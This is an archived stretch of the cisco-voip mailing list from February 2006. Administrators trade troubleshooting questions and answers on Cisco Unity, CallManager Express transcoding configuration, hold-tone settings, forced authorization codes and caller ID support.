The thing is, it's not sending voice mail to email, they're sharing the same
mailbox, so the way you're doing it is the only way to do it.  I guess I
would wonder why you want to disable it.  For most people, UM is an upgrade
from VM and one of the great features in Unity.
 
 
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
<mailto:court.schuett at us.millwardbrown.com> 
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of netwirker
Sent: Monday, February 13, 2006 8:25 PM
To: Philip Walenta; cisco-voip at puck.nether.net; jgrace
Subject: Re: RE: [cisco-voip] How to stop unity sending voice mesages to
email


Hi Philip,
 
I'm using UM. I delete current unity account, creat new exchange account for
voice message only
and import into Unity (creat new unity account).  It works. 
 
I'm just wondering are any other ways to do this. Thanks!
 
Andrew
??
 
======== 2006-02-13 12:13:35 ???????? ========
 


Are you running in a voicemail only mode, or Unified Messaging mode?
 
If running Unified (which is what it sounds like), the only thing you can do
is create an alternate exchange/ad user for the voicemail box (i.e.
VMJoeSmith).
 
 From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of net w0rker
Sent: Monday, February 13, 2006 11:09 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] How to stop unity sending voice mesages to email



Hi guys,
 
I'm configuring Unity server(4.0) and would like to know how to stop unity
sending voice mesages to email(exchange sever).
I just want to get voice messages from IP Phone.
Do you have any idea?
 
Thanks!
 
Andrew
 

= = = = = = = = = = = = = = = = = = = = = = 

?????????
??

 
??????????????netwirker
??????????????netwirker at gmail.com <mailto:netwirker at gmail.com>

???????????????2006-02-13
 
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From CDAmore at jackhenry.com  Tue Feb 14 16:15:29 2006
From: CDAmore at jackhenry.com (Chris D'amore )
Date: Tue Feb 14 16:15:32 2006
Subject: [cisco-voip] CME transcoding issue
Message-ID: <13591CB4B2359F4D96E2606DD6B840A00247FE78@smoxchg.jhacorp.com>

 

I have two 2811 routers running CME version 3.4. I can't get transcoding
to work between the two CME routers. When I call the Unity Express pilot
number on CME router 2 from CME router 1, I get a fast busy. If I set
the dial-peer to use G.711, it works fine. Below is the transcoding
related configuration from the two routers. Any help you can give me
would be much appreciated. 

CMR router 1: 

voice-card 0 
no dspfarm 
dsp services dspfarm 


dspfarm profile 1 transcode 
codec g711ulaw 
codec g711alaw 
codec g729ar8 
codec g729abr8 
codec gsmfr 
codec g729r8 
codec g729br8 
maximum sessions 12 
associate application SCCP 

telephony-service 
load 7960-7940 P00307020200 
load 7914 S00104000100 
load 7905 CP7905060000SCCP050124A 
load 7936 cmterm_7936.3-3-5-0 
load 7912 CP7912060000SCCP050124A 
max-ephones 20 
max-dn 100 
ip source-address 10.10.1.250 port 2000 
sdspfarm units 1 
sdspfarm transcode sessions 16 
sdspfarm tag 1 mac0015.f98e.01 

CME router 2: 

voice-card 0 
no dspfarm 
dsp services dspfarm 

dspfarm profile 1 transcode 
codec g711ulaw 
codec g711alaw 
codec g729ar8 
codec g729abr8 
codec gsmfr 
codec g729r8 
codec g729br8 
maximum sessions 12 
associate application SCCP 

telephony-service 
load 7960-7940 P00307020200 
load 7914 S00104000100 
load 7912 CP7912060000SCCP050124A 
max-ephones 20 
max-dn 100 
ip source-address 10.10.2.250 port 2000 
sdspfarm units 1 
sdspfarm transcode sessions 16 
sdspfarm tag 1 mac0015.fa2f.75 


I have just added the following commands to my configuration: 
sccp local FastEthernet 0/0.2 
sccp ccm 10.10.1.250 identifier 1 
sccp 
sccp ccm group 1 

When I do a "show sccp all", I see the following: 
Transcoding Operational State: Down - Cause Code: NOT_ACCOC_TO_CCM_GROUP

Active Call Manager: NONE 
TCP Link Status: NOT_CONNECTED, Profile Indentifier:1 

In my running configuration I have the following sccp related commands: 
sccp local FastEthernet 0/0.2 
sccp ccm 10.10.1.250 identifier 1 
sccp 
! 
sccp ccm group 1 
associate ccm 1 priority 1 

10.10.1.250 is the IP address for CME on this router. Fast Ethernet
0/0.2 is the sub-interface the above address is assigned to. 

What is causing the Transcoding Operational State to be Down? 
Thank you for all of your help! 
Chris

 

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From SPackett at fenwick.com  Tue Feb 14 18:44:41 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Tue Feb 14 18:44:53 2006
Subject: [cisco-voip] Unlink the synchronization relationship of
	distribution list in Unity and Active Directory
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AA94@svcexch02.firm.fenwick.llp>

Unity 4.1(1)

We have distribution lists in Unity that were created via the "import"
feature in Unity.  Now, anytime we make a change in Unity, that change
is also carried over into Active Directory.  My backup delete a list in
Unity which resulted into deleting the same list in AD.  Now that we see
the power that Unity has, we don't want to synchronize the Unity and AD
lists.  Is there a way to unlink the synchronization relationship
between the Unity and AD lists?

Thanks in advance.
--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

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The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
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From erickbe at yahoo.com  Tue Feb 14 22:25:36 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Tue Feb 14 22:25:43 2006
Subject: [cisco-voip] Unlink the synchronization relationship of
	distribution list in Unity and Active Directory
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AA94@svcexch02.firm.fenwick.llp>
Message-ID: <20060215032536.19381.qmail@web34307.mail.mud.yahoo.com>

AFAIK, Unity creates PDLs in the active directory and
thats where they are and used from. They are not
stored locally on the unity server. 

--- Stu Packett <SPackett at fenwick.com> wrote:

> Unity 4.1(1)
> 
> We have distribution lists in Unity that were
> created via the "import"
> feature in Unity.  Now, anytime we make a change in
> Unity, that change
> is also carried over into Active Directory.  My
> backup delete a list in
> Unity which resulted into deleting the same list in
> AD.  Now that we see
> the power that Unity has, we don't want to
> synchronize the Unity and AD
> lists.  Is there a way to unlink the synchronization
> relationship
> between the Unity and AD lists?
> 
> Thanks in advance.
>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements imposed by the IRS, we inform you
> that any U.S. federal tax advice in this
> communication (including attachments) is not
> intended or written by Fenwick & West LLP to be
> used, and cannot be used, for the purpose of (i)
> avoiding penalties under the Internal Revenue Code
> or (ii) promoting, marketing, or recommending to
> another party any transaction or matter addressed
> herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be
> legally privileged and confidential.  It is intended
> to be read only by the individual or entity to whom
> it is addressed or by their designee. If the reader
> of this message is not the intended recipient, you
> are on notice that any distribution of this message,
> in any form, is strictly prohibited.
>  
> If you have received this message in error, please
> immediately notify the sender and/or Fenwick & West
> LLP by telephone at (650) 988-8500 and delete or
> destroy any copy of this message.
> > _______________________________________________
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From SPackett at fenwick.com  Wed Feb 15 02:03:51 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb 15 02:04:00 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>

CallManager 4.0(2a)sr2c

I got strange one here.  One of my users complained that when he calls
our main number and asks to be transferred to another employee, he hears
two or three beeps when the receptionist transfers his call.  The
problem isn't the beeps itself, but the loudness of the beeps.  I was
able to duplicate this issue on my phones, but on my lab phones, it does
not do that.

Does anyone know where to find this "beep" setting when callers are
transferred?

Thanks in advance.
--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.
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From erickbe at yahoo.com  Wed Feb 15 07:13:56 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 15 07:14:03 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
Message-ID: <20060215121356.25176.qmail@web34314.mail.mud.yahoo.com>

Do you have network hold audio source set to a MoH
source? Do the phones have a MRGL with access to a MOH
server? If not then they are probably getting tone on
hold (beeps) when put on hold or when a network-hold
event occurs (transfer, etc). 

--- Stu Packett <SPackett at fenwick.com> wrote:

> CallManager 4.0(2a)sr2c
> 
> I got strange one here.  One of my users complained
> that when he calls
> our main number and asks to be transferred to
> another employee, he hears
> two or three beeps when the receptionist transfers
> his call.  The
> problem isn't the beeps itself, but the loudness of
> the beeps.  I was
> able to duplicate this issue on my phones, but on my
> lab phones, it does
> not do that.
> 
> Does anyone know where to find this "beep" setting
> when callers are
> transferred?
> 
> Thanks in advance.
>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance
> with requirements imposed by the IRS, we inform you
> that any U.S. federal tax advice in this
> communication (including attachments) is not
> intended or written by Fenwick & West LLP to be
> used, and cannot be used, for the purpose of (i)
> avoiding penalties under the Internal Revenue Code
> or (ii) promoting, marketing, or recommending to
> another party any transaction or matter addressed
> herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be
> legally privileged and confidential.  It is intended
> to be read only by the individual or entity to whom
> it is addressed or by their designee. If the reader
> of this message is not the intended recipient, you
> are on notice that any distribution of this message,
> in any form, is strictly prohibited.
>  
> If you have received this message in error, please
> immediately notify the sender and/or Fenwick & West
> LLP by telephone at (650) 988-8500 and delete or
> destroy any copy of this message.
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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From lelio at uoguelph.ca  Wed Feb 15 08:15:16 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb 15 08:15:32 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
References: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
Message-ID: <004f01c63231$e245cf50$c901a8c0@EATIUSBIRDIUS>

Callers Hear Beeps When Being TransferredWe have the same thing. Tone on hold is configured. Problem is that the volume is (much) louder for those calling from offcampus than oncampus. Haven't found a solution yet - would love it if there is a workaround. We're on 3.3(4).....

  ----- Original Message ----- 
  From: Stu Packett 
  To: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 15, 2006 2:03 AM
  Subject: [cisco-voip] Callers Hear Beeps When Being Transferred


  CallManager 4.0(2a)sr2c 

  I got strange one here.  One of my users complained that when he calls our main number and asks to be transferred to another employee, he hears two or three beeps when the receptionist transfers his call.  The problem isn't the beeps itself, but the loudness of the beeps.  I was able to duplicate this issue on my phones, but on my lab phones, it does not do that.

  Does anyone know where to find this "beep" setting when callers are transferred? 

  Thanks in advance. 


------------------------------------------------------------------------------

  IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein. 

------------------------------------------------------------------------------
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  The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited. 
   
  If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message. 


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From SPackett at fenwick.com  Wed Feb 15 08:32:19 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb 15 08:32:30 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AA9E@svcexch02.firm.fenwick.llp>

We do not have MoH, but all the phones do have a MRGL which is really
for our conference bridges.  Is it possible to modify this tone on hold
beep?  This user claims this is something new, but I have no way of
proving him wrong. 

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com] 
Sent: Wednesday, February 15, 2006 4:14 AM
To: Stu Packett; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

Do you have network hold audio source set to a MoH source? Do the phones
have a MRGL with access to a MOH server? If not then they are probably
getting tone on hold (beeps) when put on hold or when a network-hold
event occurs (transfer, etc). 

--- Stu Packett <SPackett at fenwick.com> wrote:

> CallManager 4.0(2a)sr2c
> 
> I got strange one here.  One of my users complained that when he calls

> our main number and asks to be transferred to another employee, he 
> hears two or three beeps when the receptionist transfers his call.  
> The problem isn't the beeps itself, but the loudness of the beeps.  I 
> was able to duplicate this issue on my phones, but on my lab phones, 
> it does not do that.
> 
> Does anyone know where to find this "beep" setting when callers are 
> transferred?
> 
> Thanks in advance.
>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance with requirements 
> imposed by the IRS, we inform you that any U.S. federal tax advice in 
> this communication (including attachments) is not intended or written 
> by Fenwick & West LLP to be used, and cannot be used, for the purpose 
> of (i) avoiding penalties under the Internal Revenue Code or (ii) 
> promoting, marketing, or recommending to another party any transaction

> or matter addressed herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be legally privileged 
> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of 
> this message is not the intended recipient, you are on notice that any

> distribution of this message, in any form, is strictly prohibited.
>  
> If you have received this message in error, please immediately notify 
> the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 
> and delete or destroy any copy of this message.
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.


From SPackett at fenwick.com  Wed Feb 15 08:40:08 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb 15 08:40:18 2006
Subject: [cisco-voip] Unlink the synchronization relationship of
	distribution list in Unity and Active Directory
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AAA0@svcexch02.firm.fenwick.llp>

That was my understanding as well.  I've been trying to recreate the
steps he did.  I created test lists in AD, but the AD list is not being
deleted after I delete the Unity list.  I'll look into it more.  Thanks.

-----Original Message-----
From: Erick Bergquist [mailto:erickbe at yahoo.com] 
Sent: Tuesday, February 14, 2006 7:26 PM
To: Stu Packett; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Unlink the synchronization relationship of
distribution list in Unity and Active Directory

AFAIK, Unity creates PDLs in the active directory and thats where they
are and used from. They are not stored locally on the unity server. 

--- Stu Packett <SPackett at fenwick.com> wrote:

> Unity 4.1(1)
> 
> We have distribution lists in Unity that were created via the "import"
> feature in Unity.  Now, anytime we make a change in Unity, that change

> is also carried over into Active Directory.  My backup delete a list 
> in Unity which resulted into deleting the same list in AD.  Now that 
> we see the power that Unity has, we don't want to synchronize the 
> Unity and AD lists.  Is there a way to unlink the synchronization 
> relationship between the Unity and AD lists?
> 
> Thanks in advance.
>
--------------------------------------------------------
> 
> IRS Circular 230  Disclosure:  To ensure compliance with requirements 
> imposed by the IRS, we inform you that any U.S. federal tax advice in 
> this communication (including attachments) is not intended or written 
> by Fenwick & West LLP to be used, and cannot be used, for the purpose 
> of (i) avoiding penalties under the Internal Revenue Code or (ii) 
> promoting, marketing, or recommending to another party any transaction

> or matter addressed herein.
>
--------------------------------------------------------
> 
> ATTENTION:
> The information contained in this message may be legally privileged 
> and confidential.  It is intended to be read only by the individual or

> entity to whom it is addressed or by their designee. If the reader of 
> this message is not the intended recipient, you are on notice that any

> distribution of this message, in any form, is strictly prohibited.
>  
> If you have received this message in error, please immediately notify 
> the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 
> and delete or destroy any copy of this message.
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


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Tired of spam?  Yahoo! Mail has the best spam protection around
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--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.


From lelio at uoguelph.ca  Wed Feb 15 09:02:35 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb 15 09:02:47 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
References: <965C0255FD5828438E34F9A68ECA76E740AA9E@svcexch02.firm.fenwick.llp>
Message-ID: <001d01c63238$7a3f8b60$30196883@cfs.uoguelph.ca>

Tone on Hold is a CallManager Service Parameter (in 3.3(4) anwyays). Here is the help file excerpt:
      Tone On Hold Timer : This parameter specifies the number of seconds between every two hold tones that are played when a call is put on hold. Its effect on MGCP-based devices differs from other devices: a) For MGCP-based devices, if this value is 0 or 200,000, it completely disables the hold tone on that device; any other value will enable the hold tone on MGCP-based devices when the caller is put on hold. b) For all other (non-MGCP-based) devices, if this value is 0, the held device will play the hold tone only one time when the caller is put on hold; if value is 200,000, no hold tone will be played at all; otherwise, the held device will play the hold tone every so many seconds (specified by this value) repeatedly. If the value is less than 5 seconds, the device will raise it to 5 seconds. 
      This is a required field.
      Default: 10.
      Unit: sec.
      Minimum: 0.
      Maximum: 200000.
     

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Stu Packett 
  To: erickbe at yahoo.com ; cisco-voip at puck.nether.net 
  Sent: Wednesday, February 15, 2006 8:32 AM
  Subject: RE: [cisco-voip] Callers Hear Beeps When Being Transferred


  We do not have MoH, but all the phones do have a MRGL which is really
  for our conference bridges.  Is it possible to modify this tone on hold
  beep?  This user claims this is something new, but I have no way of
  proving him wrong. 

  -----Original Message-----
  From: Erick Bergquist [mailto:erickbe at yahoo.com] 
  Sent: Wednesday, February 15, 2006 4:14 AM
  To: Stu Packett; cisco-voip at puck.nether.net
  Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

  Do you have network hold audio source set to a MoH source? Do the phones
  have a MRGL with access to a MOH server? If not then they are probably
  getting tone on hold (beeps) when put on hold or when a network-hold
  event occurs (transfer, etc). 

  --- Stu Packett <SPackett at fenwick.com> wrote:

  > CallManager 4.0(2a)sr2c
  > 
  > I got strange one here.  One of my users complained that when he calls

  > our main number and asks to be transferred to another employee, he 
  > hears two or three beeps when the receptionist transfers his call.  
  > The problem isn't the beeps itself, but the loudness of the beeps.  I 
  > was able to duplicate this issue on my phones, but on my lab phones, 
  > it does not do that.
  > 
  > Does anyone know where to find this "beep" setting when callers are 
  > transferred?
  > 
  > Thanks in advance.
  >
  --------------------------------------------------------
  > 
  > IRS Circular 230  Disclosure:  To ensure compliance with requirements 
  > imposed by the IRS, we inform you that any U.S. federal tax advice in 
  > this communication (including attachments) is not intended or written 
  > by Fenwick & West LLP to be used, and cannot be used, for the purpose 
  > of (i) avoiding penalties under the Internal Revenue Code or (ii) 
  > promoting, marketing, or recommending to another party any transaction

  > or matter addressed herein.
  >
  --------------------------------------------------------
  > 
  > ATTENTION:
  > The information contained in this message may be legally privileged 
  > and confidential.  It is intended to be read only by the individual or

  > entity to whom it is addressed or by their designee. If the reader of 
  > this message is not the intended recipient, you are on notice that any

  > distribution of this message, in any form, is strictly prohibited.
  >  
  > If you have received this message in error, please immediately notify 
  > the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 
  > and delete or destroy any copy of this message.
  > > _______________________________________________
  > cisco-voip mailing list
  > cisco-voip at puck.nether.net
  > https://puck.nether.net/mailman/listinfo/cisco-voip
  > 


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  Tired of spam?  Yahoo! Mail has the best spam protection around
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  IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
  --------------------------------------------------------

  ATTENTION:
  The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
   
  If you have received this message in error, please immediately notify the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and delete or destroy any copy of this message.

  _______________________________________________
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  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From wsisk at cisco.com  Wed Feb 15 09:22:33 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:22:49 2006
Subject: [cisco-voip] Route Pattern/FAC question
In-Reply-To: <94a1afde0602131401y62cee164g285cad556092e544@mail.gmail.com>
References: <94a1afde0602131401y62cee164g285cad556092e544@mail.gmail.com>
Message-ID: <0B14A25C-30E5-4345-B6F7-F31237F0DB26@cisco.com>

AAR will auto reroute to PSTN if WAN is OoBandwidth.  However,  FAC  
does not work on trunk to trunk calls (or didn't when I wrote the  
networks presentation last year) i.e.   cluster1---->(ICT)cluster2 
(mgcpgw)--PSTN.

scenario that does work:
remote site has all calls default route to local gateway through a  
route pattern that uses FAC
calls to central site route over ICT with AAR (use special CSS to  
match a RP that does not use FAC)  make your local gw be the 2nd  
member in the route group to cover the case where the central site  
does not respond at all (WAN down).

/Wes


On Feb 13, 2006, at 5:01 PM, Ed Leatherman wrote:

I'm trying to build a scenario in the lab that functions like this:

Remote site (seperate CCM 4.1) has intercluster trunk to Main Campus  
CCM 4.1. Also has PRI to PSTN.

If a remote site user dials an extension for the main campus, it will  
hit a route pattern/Route List that has a route group containing the  
ICT first, and then a route group containing the PSTN Gateway as the  
second item. So if the WAN connection is down or out of bandwidth it  
translates the called number and sends it out the PSTN gateway  
instead. So far so good.

What the remote site has now asked is to have forced auth. codes on  
long distance PSTN calls. Is there a way to configure it such that  
for calls to the main site callmanager only asks for a FAC if the  
call gets directed to the PSTN? It seems i have to specify the FAC  
from route pattern page, which will ask for a FAC every time even on  
ICT calls. I wasnt sure if there was a more clever way to do it and  
get the desired effect.

I took a look at AAR, but it mentioned that it was for intrA-cluster  
calls rather than intER-cluster calls.. and i'm not sure it would  
help me out anyway since calls aren't re-routed in the event of WAN  
failure.

Thanks!
-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From wsisk at cisco.com  Wed Feb 15 09:24:34 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:24:53 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <C1FE15183DA37645BC0633BC604E44F0E69D04@USNAEXCH.na.didata.local>
References: <C1FE15183DA37645BC0633BC604E44F0E69D04@USNAEXCH.na.didata.local>
Message-ID: <2084F141-2982-4171-B9AC-7829335A2048@cisco.com>

correct. only when CSCea49474 is resolved.

/Wes
On Feb 13, 2006, at 6:14 PM, Matt Slaga ((US)) wrote:

Last I checked, the FXO-M1 worked for caller ID but only with H323.   
Maybe that is fixed now.



From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Jonathan Charles
Sent: Monday, February 13, 2006 4:54 PM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Caller ID

BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if  
they pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I  
have never seen CID info... I would presume you can though.



Jonathan

On 2/13/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
Can anyone tell me on what interfaces CM 4.1 can accept and display  
Caller ID.


I know PRI's work.  What about FXO, CAS, BRI, etc.


Thank


Scott


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From ealeatherman at gmail.com  Wed Feb 15 09:26:24 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb 15 09:26:27 2006
Subject: [cisco-voip] Call Handler
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1492@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1492@VISHNU.wesd.org>
Message-ID: <94a1afde0602150626n1605a67ci8c0a6a18d6737f9f@mail.gmail.com>

Scott,

We have to do the same thing on alot of our call handlers that transfer off
system. I don't know of any way around it.. would be interested also if
anyone knows a better way to do it.

Might be a good thing to put a feature request for up on CIPTUG - assuming
there isnt already but I dont recall seeing one. We'd put some votes on it
for sure.


On 2/14/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  YES.
>
>
>
> Due to the fact that I can't attempt transfer to subscriber as they are on
> the other unity box I have to create a call handler for each person that
> transfers to there extension and go back to the main Call handler and then
> caller input 1 equals caller handlers person A, 2 person B, etc.
>
>
>
> It would be nice to have a drop down 1 transfer extension xxxx.
>
>
>
> Scott
>
>
>  ------------------------------
>
> *From:* Philip Walenta [mailto:pwalenta at wi.rr.com]
> *Sent:* Tuesday, February 14, 2006 7:45 AM
> *To:* Voll, Scott; cisco-voip at puck.nether.net
> *Subject:* RE: [cisco-voip] Call Handler
>
>
>
> If I understand this correctly -
>
>
>
> Instead of the "attempt transfer for 'subscriber'" or call handler -
>
>
>
> A real "attempt transfer to extension XXXXXX"?
>
>
>  ------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net [mailto:
> cisco-voip-bounces at puck.nether.net] *On Behalf Of *Voll, Scott
> *Sent:* Tuesday, February 14, 2006 9:36 AM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Call Handler
>
> Am I the only one that thinks it would be nice to be able to do a
> transfers directly from a Call Handler rather then having to setup other
> call handlers just to do a transfer to a extension?
>
>
>
> Any better solutions out there?
>
>
>
> Scott
>
>
>
> PS.  Just for background I have two Unity servers.  One on old PBX and the
> other connected to CM.  I have users that are now on both IP Phones and PBX
> phones.  I'm trying to setup the IP Phones to forward to the PBX phone if no
> one answers the phone.
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From wsisk at cisco.com  Wed Feb 15 09:27:07 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 09:27:25 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <200602132343.k1DNhM5s015864@ms-smtp-03.rdc-kc.rr.com>
References: <200602132343.k1DNhM5s015864@ms-smtp-03.rdc-kc.rr.com>
Message-ID: <1B6B732A-8C0D-4FDF-9EF9-8738B1256DA8@cisco.com>

FeatureGroupB is vanilla wink start t1-cas.  CM supports FGB via MGCP
FeatureGroupD includes ANI, but CCM does not support FGD via MGCP.   
have to use h323 if  you want FGB.  DNIS just gets a special format  
which is *ANI*DNIS* which fails to match your route patterns in CM.   
I've seen several attempts to use translation patterns to force  
matches, but none successful.

/Wes

On Feb 13, 2006, at 6:43 PM, Philip Walenta wrote:

T1 CAS supports ANI via feature group B or D.  I know it's one of  
those two.  Only supported on a limited set of devices.

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Jonathan Charles
Sent: Monday, February 13, 2006 3:54 PM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Caller ID

BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if  
they pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I  
have never seen CID info... I would presume you can though.



Jonathan

On 2/13/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
Can anyone tell me on what interfaces CM 4.1 can accept and display  
Caller ID.


